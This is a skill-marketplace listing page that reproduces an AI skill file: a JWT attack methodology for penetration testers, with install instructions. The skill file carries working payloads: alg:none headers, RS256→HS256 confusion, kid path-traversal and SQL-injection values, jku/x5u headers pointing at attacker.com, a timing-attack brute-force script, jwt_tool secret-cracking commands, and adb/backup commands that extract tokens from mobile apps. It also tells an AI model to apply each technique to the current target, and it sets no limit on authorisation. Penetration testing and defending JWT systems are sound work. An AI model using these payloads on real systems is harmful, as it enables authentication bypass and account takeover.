Offensive Jwt logo

Offensive Jwt

CommunityPopular
SnailSploit
offensive-jwt

JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps.

Overview

PublisherSnailSploit
RepositoryClaude-Red
Skill nameoffensive-jwt
Stars
6K
Forks
775
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by SnailSploit on GitHub. Read the source before you install it.

Installation

Install the Offensive Jwt AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p .claude/skills
cp -r /tmp/Claude-Red/Skills/auth/offensive-jwt .claude/skills/offensive-jwt
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Offensive Jwt in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Offensive Jwt on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Offensive Jwt is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Overview

Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.

Quick Reference: Misconfigurations to Check

  • Algorithm set to none — signature verification bypassed entirely
  • Algorithm switching between RSA and HMAC (confusion attack)
  • Weak or guessable HMAC secret (brute-forceable)
  • kid, jku, jwk, x5u header parameters accepted without validation
  • Expired or tampered tokens accepted by server
  • Sensitive data stored unencrypted in payload

Useful tool: JWT Tool

Mechanisms

JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.

Signing algorithms:

AlgorithmTypeNotes
HS256/384/512Symmetric HMACShared secret; confusion target
RS256/384/512Asymmetric RSAPublic key can be misused as HMAC secret
ES256/384/512Asymmetric ECDSA
PS256/384/512RSASSA-PSS
EdDSA (Ed25519/Ed448)Asymmetric
noneUnsignedCritically insecure

Additional pitfalls:

  • JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected typ/cty
  • JWKS retrieval: SSRF via jku/x5u, insecure TLS, poisoned key caching, kid collisions
  • Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients

Hunt: Identifying JWT Usage

  1. Check Authorization: Bearer <token> headers in all requests
  2. Look for cookies containing JWT structures (eyJ...)
  3. Examine browser local/session storage
  4. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
  5. Note any kid, jku, jwk, x5u fields in the header — these are attack surfaces

Vulnerability Map

JWT Vulnerabilities
├── Algorithm Bypass
│   ├── alg:none attack
│   └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│   ├── SQL injection via kid
│   └── Path traversal via kid
├── Header Injection
│   ├── jwk (inline fake key)
│   ├── jku/x5u (remote attacker-controlled JWKS)
│   └── JWKS cache poisoning
└── Missing / Broken Validation
    ├── No signature check
    ├── Expired tokens accepted
    └── iss/aud/exp not validated

Vulnerabilities

Algorithm Vulnerabilities

  • alg:none — Some libraries disable signature validation when alg is none or a case variant (None, NONE, nOnE)
  • Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches alg to HS256; attacker re-signs token with the public key
  • Key ID (kid) Manipulation — Exploiting kid to load wrong keys or inject file paths / SQL; enforce strict lookups

Signature Vulnerabilities

  • Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
  • Missing Signature Validation — Token accepted without any verification
  • Broken Validation — Implementation errors in signature checking logic

Implementation Issues

  • Missing Claims Validationexp, nbf, aud, iss not verified
  • Insufficient Entropy — Predictable JWT IDs or tokens
  • No Expiration — Tokens valid indefinitely
  • Insecure Transport — Token sent over HTTP
  • Debug Leakage — Detailed error messages expose implementation

Header Injection Attacks

  • JWK Injection — Supply a custom attacker-controlled public key via the jwk header
  • JKU Manipulation — Point jku (JWK Set URL) to attacker-controlled JWKS endpoint
  • x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
  • JWKS Cache Poisoning — Force caches to accept attacker keys via kid collisions or response header manipulation
  • crit Header Abuse — Server ignores unknown critical parameters, enabling bypass

Information Disclosure

  • Sensitive data (PII, credentials, session details) stored unencrypted in payload
  • Internal service/backend information leaked via claims

Additional Attack Vectors

Mobile App JWT Storage

Android:

  • SharedPreferences: Check if world-readable; location /data/data/<package>/shared_prefs/
  • Keystore extraction: root device or exploit app
  • Backup extraction: adb backup -f backup.ab <package> (if allowBackup=true)
  • Tools: Frida, objection, MobSF

iOS:

  • Keychain: Check kSecAttrAccessiblekSecAttrAccessibleAlways is insecure
  • iTunes/iCloud backup extraction: unencrypted backups expose Keychain
  • Jailbreak + Keychain-Dumper for full extraction
  • Tools: Frida, objection, idb

React Native / Hybrid:

  • AsyncStorage stored in plain text (Android SQLite DB, iOS plist); no encryption by default
bash
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"

# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT

JWT Confusion Attacks

  • SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
  • API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
  • Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
  • OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token
bash
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource

# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource

Timing Attacks on HMAC

Non-constant-time comparison leaks the HMAC secret character by character via response time differences.

python
import requests, time

def time_request(signature):
    start = time.perf_counter()
    r = requests.get('https://target/api',
                     headers={'Authorization': f'Bearer header.payload.{signature}'})
    return time.perf_counter() - start

# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
    sig = bytes([byte]) + b'\x00' * 31
    t = time_request(sig.hex())

JWT in URL Parameters

  • Tokens in GET URLs appear in server logs, proxy logs, browser history
  • Leaked via Referer header to external sites; CDN/cache logs may persist tokens
bash
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."

Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.

Manual Testing Steps

  1. Decode and Inspect:

    base64url_decode(header) . base64url_decode(payload) . signature
  2. Test none Algorithm (try all case variants):

    {"alg":"none","typ":"JWT"}.payload.""
    {"alg":"None","typ":"JWT"}.payload.""
    {"alg":"NONE","typ":"JWT"}.payload.""
    {"alg":"nOnE","typ":"JWT"}.payload.""
  3. Algorithm Confusion (RS256→HS256):

    # Re-sign with RSA public key used as HMAC secret
    {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
  4. kid Parameter Attacks:

    {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
  5. JWK/JKU Injection:

    {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
    {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
  6. x5u / crit Handling:

    {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
    {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
  7. Brute Force HMAC Secret:

    bash
    python3 jwt_tool.py <token> -C -d wordlist.txt
  8. Test Missing Claim Validation:

    • Remove or modify exp (expiration)
    • Change iss (issuer) or aud (audience)
    • Modify iat (issued at) or nbf (not before)

Automated Testing with JWT_Tool

bash
# Basic token inspection
python3 jwt_tool.py <token>

# Full vulnerability scan
python3 jwt_tool.py <token> -M all

# Targeted attacks
python3 jwt_tool.py <token> -X a     # Algorithm confusion
python3 jwt_tool.py <token> -X n     # Null/none signature
python3 jwt_tool.py <token> -X i     # Identity theft
python3 jwt_tool.py <token> -X k     # Key confusion

# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt

Other tools:

  • JWT.io — basic token inspection and debugging
  • Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
  • jwtXploiter — advanced JWT vulnerability scanning
  • c-jwt-cracker — high-speed HMAC brute force (C implementation)
  • Frida, objection, MobSF — mobile JWT extraction

Remediation Recommendations

  • Use short-lived access tokens; rotate refresh tokens frequently
  • Always validate aud (audience) and iss (issuer) claims
  • Disable none algorithm; prevent algorithm downgrades; pin alg per client/issuer
  • Ensure key material loaded for verification matches alg; reject mismatches
  • Reject tokens with unknown crit header parameters
  • Validate JWKS over pinned TLS; disallow remote jku/x5u except trusted domains; short-TTL key caching with kid uniqueness
  • Enforce maximum token length; disable JWE compression unless required
  • Maintain server-side deny-list keyed by jti for early revocation
  • For DPoP tokens (typ:"dpop+jwt"): verify proof binds to HTTP request; enforce one-time nonce use
  • Bind sessions to device when possible; rotate refresh tokens on every use
  • Prefer SameSite=Lax/Strict HttpOnly cookies for web; avoid localStorage for access tokens

Alternatives & Modern Mitigations

  • PASETO — removes algorithm negotiation entirely; eliminates confusion attacks
  • Macaroons — bearer tokens with attenuable, caveat-based delegation
  • DPoP and mTLS — bind tokens to the client to prevent replay

Frequently asked questions

What does the Offensive Jwt AI skill do?

JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps.

Why use Offensive Jwt on TypingMind?

Because you install it once and use it with any model. Offensive Jwt is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Offensive Jwt in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SnailSploit/Claude-Red/tree/main/Skills/auth/offensive-jwt. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Offensive Jwt?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Offensive Jwt?

As many as you like. As long as a model supports skills, you can use Offensive Jwt with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Offensive Jwt AI skill free?

Yes. It is published on GitHub by SnailSploit under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇